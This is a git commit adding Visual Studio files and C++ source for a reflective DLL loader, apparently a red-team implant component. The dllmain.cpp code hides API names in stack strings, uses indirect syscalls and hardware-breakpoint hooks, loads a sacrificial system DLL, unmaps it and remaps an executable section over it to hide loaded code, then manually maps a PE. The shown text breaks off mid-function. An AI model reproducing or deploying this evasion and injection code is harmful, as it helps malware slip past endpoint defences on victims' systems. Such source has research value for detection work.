new year, better sleap

This commit is contained in:
oldboy21
2025-01-06 18:44:44 +01:00
parent 7c45b57a41
commit 1c693e539c
12 changed files with 3712 additions and 0 deletions
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.7.34221.43
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectiveDLL", "ReflectiveDLL.vcxproj", "{F789BB9F-677E-41A1-8733-231EDD86E249}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{F789BB9F-677E-41A1-8733-231EDD86E249}.Debug|x64.ActiveCfg = Debug|x64
{F789BB9F-677E-41A1-8733-231EDD86E249}.Debug|x64.Build.0 = Debug|x64
{F789BB9F-677E-41A1-8733-231EDD86E249}.Debug|x86.ActiveCfg = Debug|Win32
{F789BB9F-677E-41A1-8733-231EDD86E249}.Debug|x86.Build.0 = Debug|Win32
{F789BB9F-677E-41A1-8733-231EDD86E249}.Release|x64.ActiveCfg = Release|x64
{F789BB9F-677E-41A1-8733-231EDD86E249}.Release|x64.Build.0 = Release|x64
{F789BB9F-677E-41A1-8733-231EDD86E249}.Release|x86.ActiveCfg = Release|Win32
{F789BB9F-677E-41A1-8733-231EDD86E249}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {A58B8D87-B75B-44F7-8BF7-F7910B351467}
EndGlobalSection
EndGlobal
@@ -0,0 +1,178 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{f789bb9f-677e-41a1-8733-231edd86e249}</ProjectGuid>
<RootNamespace>ReflectiveDLL</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;REFLECTIVEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;REFLECTIVEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>_DEBUG;REFLECTIVEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<SupportJustMyCode>false</SupportJustMyCode>
<DebugInformationFormat>None</DebugInformationFormat>
<ExceptionHandling>false</ExceptionHandling>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ControlFlowGuard>false</ControlFlowGuard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;REFLECTIVEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<DebugInformationFormat>None</DebugInformationFormat>
<WholeProgramOptimization>false</WholeProgramOptimization>
<ExceptionHandling>false</ExceptionHandling>
<BufferSecurityCheck>false</BufferSecurityCheck>
<Optimization>Disabled</Optimization>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>DllMain</EntryPointSymbol>
<LinkStatus>false</LinkStatus>
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp" />
</ItemGroup>
<ItemGroup>
<MASM Include="syscall.asm" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="headers.h" />
<ClInclude Include="hwbp.h" />
<ClInclude Include="misc.h" />
<ClInclude Include="sleaping.h" />
<ClInclude Include="swappala.h" />
<ClInclude Include="syscalls.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
@@ -0,0 +1,47 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="Source Files\Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<MASM Include="syscall.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
<ItemGroup>
<ClInclude Include="syscalls.h">
<Filter>Source Files</Filter>
</ClInclude>
<ClInclude Include="hwbp.h">
<Filter>Source Files</Filter>
</ClInclude>
<ClInclude Include="headers.h">
<Filter>Source Files</Filter>
</ClInclude>
<ClInclude Include="misc.h">
<Filter>Source Files</Filter>
</ClInclude>
<ClInclude Include="swappala.h">
<Filter>Source Files</Filter>
</ClInclude>
<ClInclude Include="sleaping.h">
<Filter>Source Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommand>C:\Windows\System32\notepad.exe</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project>
@@ -0,0 +1,695 @@
// dllmain.cpp : Defines the entry point for the DLL application.
#include <Windows.h>
#include <winternl.h>
#include "headers.h"
#include "hwbp.h"
#include "misc.h"
#include "sleaping.h"
#include "syscalls.h"
#include "swappala.h"
#define EXTERN_DLL_EXPORT extern "C" __declspec(dllexport)
/*-------------------REFLECTIVE LOADER----------------------------*/
EXTERN_DLL_EXPORT PBYTE ReflectiveFunction() {
/*--------------CREATE VARIABLES AND INITIALIZE FUNCTIONS--------------*/
//PE HEADERS VARS
PIMAGE_DOS_HEADER pImgDosHdr = NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
IMAGE_OPTIONAL_HEADER ImgOptHdr = {0};
IMAGE_FILE_HEADER ImgFileHdr = {0};
PIMAGE_SECTION_HEADER* peSections = NULL;
PIMAGE_IMPORT_DESCRIPTOR pImgImpDesc = NULL;
PIMAGE_THUNK_DATA64 pOriginalFirstThunk = NULL;
PIMAGE_THUNK_DATA64 pFirstThunk = NULL;
PIMAGE_IMPORT_BY_NAME pImgImportByName = NULL;
PIMAGE_BASE_RELOCATION pImgRelocation = NULL;
PBASE_RELOCATION_ENTRY pRelocEntry = NULL;
PIMAGE_RUNTIME_FUNCTION_ENTRY pImgRuntimeFunctionEntry = NULL;
PIMAGE_TLS_DIRECTORY pImgTlsDirectory = NULL;
PIMAGE_TLS_CALLBACK* arrayOfCallbacks = NULL;
//fix IAT vars
HMODULE dll = NULL;
FARPROC funcAddress = NULL;
int ordinal = 0;
//base relocation vars
ULONG_PTR delta = NULL;
int entriesCount;
//fix Memory Protection variables
DWORD dwProtection = 0x00;
//locate DLL in memory
PDLL_HEADER pDllHeader = NULL;
ULONG_PTR dllBaseAddress = NULL;
//new PE in memory and memory to free once loaded
PBYTE pebase = NULL;
PBYTE toFree = NULL;
//function prototpyes
fnLoadLibraryA LLA = NULL; //to fix the IAT
fnRtlAddFunctionTable RAFT = NULL;
fnLoadLibraryExA LLEA = NULL;//to load sac dll without resolving imports
//stack strings for PIC
WCHAR kernel32[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
WCHAR ntdll[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', L'\0' };
WCHAR user32[] = { L'U', L's', L'e', L'r', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
CHAR rtladdFunctionTable[] = { 'R', 't', 'l', 'A', 'd', 'd', 'F', 'u', 'n', 'c', 't', 'i', 'o', 'n', 'T', 'a', 'b', 'l', 'e', '\0' };
CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
CHAR loadLibraryEx[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'E', 'x', 'A','\0' };
CHAR getProcessId[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 'I', 'd', '\0' };
//stack strings and variables for HBP
CHAR addVectoredExceptionHandler[] = { 'A', 'd', 'd', 'V', 'e', 'c', 't', 'o', 'r', 'e', 'd', 'E', 'x', 'c', 'e', 'p', 't', 'i', 'o', 'n', 'H', 'a', 'n', 'd', 'l', 'e', 'r', '\0' };
CHAR removeVectoredExceptionHandler[] = { 'R', 'e', 'm', 'o', 'v', 'e', 'V', 'e', 'c', 't', 'o', 'r', 'e', 'd', 'E', 'x', 'c', 'e', 'p', 't', 'i', 'o', 'n', 'H', 'a', 'n', 'd', 'l', 'e', 'r', '\0' };
PVOID zwCloseAddress = NULL;
PVOID NtMapViewOfSectionAddress = NULL;
PVOID NtCreateSectionAddress = NULL;
CHAR zwclose[] = { 'Z','w','C','l','o','s','e','\0' };
CHAR ntMapViewOfSection[] = { 'N', 't', 'M', 'a', 'p', 'V', 'i', 'e', 'w', 'O', 'f', 'S', 'e', 'c', 't', 'i', 'o', 'n', '\0' };
CHAR ntCreateSection[] = { 'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'S', 'e', 'c', 't', 'i', 'o', 'n', '\0' };
//NT status variable for syscall return code
NTSTATUS STATUS = 0x00;
fnAddVectoredExceptionHanlder AVEH = (fnAddVectoredExceptionHanlder)GPAR(GMHR(kernel32), addVectoredExceptionHandler);
fnRemoveVectoredExceptionHandler RVEH = (fnRemoveVectoredExceptionHandler)GPAR(GMHR(kernel32), removeVectoredExceptionHandler);
//these i do not need to indirect syscall-em
if ((LLEA = (fnLoadLibraryExA)GPAR(GMHR(kernel32), loadLibraryEx)) == NULL)
return FALSE;
if ((LLA = (fnLoadLibraryA)GPAR(GMHR(kernel32), loadLibraryA)) == NULL)
return FALSE;
if (!(RAFT = (fnRtlAddFunctionTable)GPAR(GMHR(kernel32), rtladdFunctionTable)))
return FALSE;
/*----------------SYSCALL ENUMERATION-------------------------------------*/
SYSCALL_ENTRY zwFunctions[AmountofSyscalls] = { 0 };
RetrieveZwFunctions(GMHR(ntdll), zwFunctions);
/*--------------SET HARDWARE BREAKPOINT AND DETOUR FUNCTIONS---------------------*/
AVEH(1, (PVECTORED_EXCEPTION_HANDLER)&VectorHandler);
zwCloseAddress = GPAR(GMHR(ntdll), zwclose);
NtMapViewOfSectionAddress = GPAR(GMHR(ntdll), ntMapViewOfSection);
NtCreateSectionAddress = GPAR(GMHR(ntdll), ntCreateSection);
if (zwCloseAddress != NULL && NtMapViewOfSectionAddress != NULL && NtCreateSectionAddress != NULL){
setHardwareBreakpoint(zwCloseAddress, NtMapViewOfSectionAddress, NtCreateSectionAddress, zwFunctions);
}
/*--------------BRUTE FORCE REFLECTIVE DLL BASE ADDRESS--------------*/
dllBaseAddress = (ULONG_PTR)ReflectiveFunction;
while (TRUE)
{
pDllHeader = (PDLL_HEADER)dllBaseAddress;
if (pDllHeader->header == 0x44434241) {
pImgDosHdr = (PIMAGE_DOS_HEADER)(dllBaseAddress + (16 * sizeof(CHAR)));
if (pImgDosHdr->e_magic == IMAGE_DOS_SIGNATURE)
{
pImgNtHdrs = (PIMAGE_NT_HEADERS)(dllBaseAddress + pImgDosHdr->e_lfanew + (16 * sizeof(CHAR)));
if (pImgNtHdrs->Signature == IMAGE_NT_SIGNATURE) {
break;
}
}
}
dllBaseAddress--;
}
//here it still needs to be adjusted because there are the headers in between, check some lines later
if (!dllBaseAddress)
return FALSE;
//pointer memory to be freed once loaded
toFree = (PBYTE)dllBaseAddress;
//setting some headers for new steps
PIMAGE_OPTIONAL_HEADER pImgOptHdr = (PIMAGE_OPTIONAL_HEADER)((ULONG_PTR)pImgNtHdrs + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));
ImgFileHdr = pImgNtHdrs->FileHeader;
/*------------------------------LOADING SACRIFICAL DLL---------------------*/
PBYTE sacDllBase = NULL;
CHAR sacDllPath[] = { 'C', ':', '\\', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\','S','R','H','.','d','l','l','\0' };
HMODULE sacModule = NULL;
sacModule = LLEA(sacDllPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
/*------------------------------UNSET HARDWARE BREAKPOINT---------------------*/
unsetHardwareBreakpoint(1);
unsetHardwareBreakpoint(2);
unsetHardwareBreakpoint(3);
RVEH((PVECTORED_EXCEPTION_HANDLER)&VectorHandler);
sacDllBase = (PBYTE)sacModule;
/*--------------------PARSE SACRIFICIAL DLL TO RETRIEVE THE SIZE--------------*/
PIMAGE_DOS_HEADER pImgDosHdrSacDll = NULL;
PIMAGE_NT_HEADERS pImgNTHdrSacDll = NULL;
PVOID memAddressForSyscallSacDll = NULL;
SIZE_T payloadSizeforSyscallSacDll = NULL;
ULONG uOldProtectionSacDll = NULL;
if (sacDllBase == NULL) {
return FALSE;
}
pImgDosHdrSacDll = (PIMAGE_DOS_HEADER)sacDllBase;
if (pImgDosHdrSacDll->e_magic != IMAGE_DOS_SIGNATURE) {
return NULL;
}
pImgNTHdrSacDll = (PIMAGE_NT_HEADERS)(sacDllBase + pImgDosHdrSacDll->e_lfanew);
if (pImgNTHdrSacDll->Signature != IMAGE_NT_SIGNATURE)
return NULL;
memAddressForSyscallSacDll = (PVOID)sacDllBase;
payloadSizeforSyscallSacDll = (SIZE_T)pImgNTHdrSacDll->OptionalHeader.SizeOfImage;
/*----------------RETRIEVE THE DLL HANDLE WITH KERNEL OBJ ENUM---------------------*/
HANDLE sacDllHandle = FindSectionHandle(zwFunctions, (fnGetProcessId)GPAR(GMHR(kernel32), getProcessId));
/*------------------SWAPPALA STUFF--------------------------*/
PVOID sacDll = NULL;
HANDLE dllFile = NULL;
HANDLE sectionHandle = NULL;
SIZE_T viewSize = NULL;
payloadSizeforSyscallSacDll = payloadSizeforSyscallSacDll + 24;
LARGE_INTEGER sectionSize = { payloadSizeforSyscallSacDll };
if (STATUS = ZwCreateSection(&sectionHandle, SECTION_ALL_ACCESS, NULL, &sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL, zwFunctions[ZwCreateSectionF].SSN, zwFunctions[ZwCreateSectionF].sysretAddr) != 0) {
return FALSE;
}
if (STATUS = ZwUnmapViewOfSection(((HANDLE)(LONG_PTR)-1), sacModule, zwFunctions[ZwUnmapViewOfSectionF].SSN, zwFunctions[ZwUnmapViewOfSectionF].sysretAddr) != 0) {
return FALSE;
}
sacDll = (PVOID)sacModule;
if (STATUS = ZwMapViewOfSection(sectionHandle, ((HANDLE)(LONG_PTR)-1), &sacDll, NULL, NULL, NULL, &payloadSizeforSyscallSacDll, ViewUnmap, NULL, PAGE_EXECUTE_READWRITE, zwFunctions[ZwMapViewOfSectionF].SSN, zwFunctions[ZwMapViewOfSectionF].sysretAddr) != 0) {
return FALSE;
}
//fixing the baseAddress including the 16 bytes of header
dllBaseAddress = dllBaseAddress + (16 * sizeof(CHAR));
/*--------------COPY SECTIONS IN MEMORY---------------------------*/
//copy needed information for the DLL once loaded
pebase = (PBYTE)sacDll;
custom_memcpy_classic(pebase, &sacDllHandle, sizeof(HANDLE));
pebase += sizeof(HANDLE);
custom_memcpy_classic(pebase, &sectionHandle, sizeof(HANDLE));
pebase += sizeof(HANDLE);
custom_memcpy_classic(pebase, &payloadSizeforSyscallSacDll, sizeof(SIZE_T));
pebase += sizeof(SIZE_T);
custom_memcpy_classic(pebase, &toFree, sizeof(PBYTE));
pebase += sizeof(PBYTE);
//retrieve sections information
PVOID pesectionTemp = NULL;
SIZE_T sSize = 0x00;
sSize = sizeof(PIMAGE_SECTION_HEADER) * ImgFileHdr.NumberOfSections;
//this can be changed but pretty tired, not need to allocate memory
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &pesectionTemp, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
return FALSE;
}
peSections = (PIMAGE_SECTION_HEADER*)pesectionTemp;
if (peSections == NULL)
return FALSE;
for (int i = 0; i < ImgFileHdr.NumberOfSections; i++) {
peSections[i] = (PIMAGE_SECTION_HEADER)(((PBYTE)pImgNtHdrs) + 4 + 20 + ImgFileHdr.SizeOfOptionalHeader + (i * IMAGE_SIZEOF_SECTION_HEADER));
}
for (int i = 0; i < ImgFileHdr.NumberOfSections; i++) {
//load sections in memory but not the ReflectiveLoader function
custom_memcpy(
(PVOID)(pebase + peSections[i]->VirtualAddress),// Destination
(PVOID)(dllBaseAddress + peSections[i]->PointerToRawData),// Source
peSections[i]->SizeOfRawData,// Size
(PBYTE)(ReflectiveFunction),//reflective-function-pointer
pDllHeader->funcSize//size of reflective function
);
}
/*--------------FIX IAT TABLE--------------*/
for (size_t i = 0; i < pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
pImgImpDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pebase + pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + i);
if (pImgImpDesc->OriginalFirstThunk == NULL && pImgImpDesc->FirstThunk == NULL)
break;
dll = LLA((LPSTR)(pebase + pImgImpDesc->Name));
if (dll == NULL) {
return FALSE;
}
pOriginalFirstThunk = (PIMAGE_THUNK_DATA64)(pebase + pImgImpDesc->OriginalFirstThunk);
pFirstThunk = (PIMAGE_THUNK_DATA64)(pebase + pImgImpDesc->FirstThunk);
while (pOriginalFirstThunk->u1.Function != NULL && pFirstThunk->u1.Function != NULL) {
if (pOriginalFirstThunk->u1.Ordinal & 0x8000000000000000) {
ordinal = pOriginalFirstThunk->u1.Ordinal & 0xFFFF;
funcAddress = GPARO(dll, (int)ordinal);
if (funcAddress != nullptr)
pFirstThunk->u1.Function = (ULONGLONG)funcAddress;
}
else {
pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pebase + pOriginalFirstThunk->u1.AddressOfData);
funcAddress = GPAR(dll, pImgImportByName->Name);
if (funcAddress != nullptr)
pFirstThunk->u1.Function = (ULONGLONG)funcAddress;
}
pOriginalFirstThunk++;
pFirstThunk++;
}
}
/*--------------APPLY BASE RELOCATIONS--------------*/
delta = (ULONG_PTR)pebase - pImgOptHdr->ImageBase;
pImgRelocation = (PIMAGE_BASE_RELOCATION)(pebase + pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while (pImgRelocation->VirtualAddress) {
pRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgRelocation + 1);
entriesCount = (int)((pImgRelocation->SizeOfBlock - 8) / 2);
for (int i = 0; i < entriesCount; i++) {
switch (pRelocEntry->Type) {
case IMAGE_REL_BASED_DIR64:
{
ULONGLONG* toAdjust = (ULONGLONG*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);
*toAdjust += (ULONGLONG)delta;
break;
}
case IMAGE_REL_BASED_HIGHLOW:
{
DWORD* toAdjust = (DWORD*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);
*toAdjust += (DWORD)delta;
}
break;
case IMAGE_REL_BASED_HIGH:
{
WORD* toAdjust = (WORD*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);
*toAdjust += HIWORD(delta);
}
break;
case IMAGE_REL_BASED_LOW:
{
WORD* toAdjust = (WORD*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);
*toAdjust += LOWORD(delta);
}
break;
case IMAGE_REL_BASED_ABSOLUTE:
//The base relocation is skipped. This type can be used to pad a block
break;
}
pRelocEntry++;
}
pImgRelocation = (PIMAGE_BASE_RELOCATION)(reinterpret_cast<DWORD_PTR>(pImgRelocation) + pImgRelocation->SizeOfBlock);
}
/*-------------ADJUST MEMORY PROTECTIONS BASING ON SECTIONS HEADERS*/
PVOID memAddressForSyscall = NULL;
SIZE_T payloadSizeforSyscall = NULL;
ULONG uOldProtection = NULL;
for (int i = 0; i < ImgFileHdr.NumberOfSections; i++) {
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) {//write
dwProtection = PAGE_WRITECOPY;
}
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_READ) {//read
dwProtection = PAGE_READONLY;
}
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE) {//exec
dwProtection = PAGE_EXECUTE;
}
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_READ && peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //readwrite
dwProtection = PAGE_READWRITE;
}
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //executewrite
dwProtection = PAGE_EXECUTE_WRITECOPY;
}
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && peSections[i]->Characteristics & IMAGE_SCN_MEM_READ) { //executeread
dwProtection = PAGE_EXECUTE_READ;
}
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && peSections[i]->Characteristics & IMAGE_SCN_MEM_READ && peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //executereadwrite
dwProtection = PAGE_EXECUTE_READWRITE;
}
memAddressForSyscall = (PVOID)(pebase + peSections[i]->VirtualAddress);
payloadSizeforSyscall = (SIZE_T)peSections[i]->SizeOfRawData;
if ((STATUS = ZwProtectVirtualMemory(((HANDLE)(LONG_PTR)-1), &memAddressForSyscall, &payloadSizeforSyscall, dwProtection, &uOldProtection, zwFunctions[1].SSN, zwFunctions[1].sysretAddr)) != 0) {
return FALSE;
}
}
/*--------------REGISTER EXCEPTIONS HANDLERS--------------*/
if (pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size) {
pImgRuntimeFunctionEntry = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(pebase + pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
